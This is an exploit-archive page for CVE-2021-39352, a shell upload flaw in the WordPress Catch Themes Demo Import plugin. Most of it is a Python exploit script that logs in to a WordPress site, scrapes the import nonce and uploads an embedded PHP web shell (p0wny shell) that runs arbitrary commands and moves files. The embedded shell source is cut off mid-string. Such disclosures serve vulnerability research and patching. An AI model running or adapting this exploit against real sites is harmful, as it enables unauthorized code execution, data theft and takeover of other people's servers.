# WordPress Catch Themes Demo Import 1.6.1 Shell Upload

Authored by Ron Jost | Posted Dec 9, 2021

WordPress Catch Themes Demo Import plugin versions 1.6.1 and below suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2021-39352
SHA-256 | aa2a40ca6681466ee19bd0785086d5094e88640579441d6538e0001846a9e1cf Download | Favorite | View

Related Files

**Share This**

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date 07.12.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/
# Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip
# Version: <= 1.6.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39352
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md


'''
Description:
The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import
functionality
found in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7,
due to insufficient file type validation. This makes it possible for an attacker with administrative privileges
to upload
malicious files that can be used to achieve remote code execution.
'''

# Banner:
banner = """
 _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____
||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|

                        [+] Catch Themes Demo Import RCE (Authenticated)
                        [@] Developed by Ron Jost (Hacker5preme)

"""
print(banner)


import argparse
import requests
from datetime import datetime

# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE
(Authenticated)')
my_parser.add_argument('-I', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('')

# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
check = session.get(auth_url)
# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)

# Get Security nonce value:
check = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-
themes-demo-import').text
nonce = check[check.find('ajax_nonce"') + 13:]
wp_nonce = nonce[:nonce.find('"')]
print(wp_nonce)

# Exploit:
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'

# Header (Exploit):
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0",
    "Accept": "*/*",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import',
    "X-Requested-With": "XMLHttpRequest",
    "Content-Type": "multipart/form-data; boundary=---------------------------121585879226594965303252407916",
    "Origin": "http://" + target_ip,
    "Connection": "close"
}

# Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell):
shell_payload = "-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data;
name=\"action\"\r\n\r\nctdi_import_demo_data\r\n-----------------------------
-121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"security\"\r\n\r\n" + wp_nonce +
"\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data;
name=\"selected\"\r\n\r\nundefined\r\n-----------------------------121585879226594965303252407916\r\nContent-
Disposition: form-data; name=\"content_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-
php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if
(preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*
(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd,
$match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\",
$cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd,
$match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd,
$stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n
);\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName,
```

```
$cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    }
else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files
= explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction
featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n
return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' =>
getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n
'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n
chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n
'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    }
else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n
'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif
(isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case
\"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n
$cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n
break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case
\"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n
break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'],
$_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n
die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n
<title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-
scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding:
0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n
}\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-
color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n
height: 8px;\n            }\n\n            *::-webkit-scrollbar-
session.post(exploit_url, headers=header, data=shell_payload)
print('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' +
str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php')
print('')
```




Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other





## Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

## About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

## Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed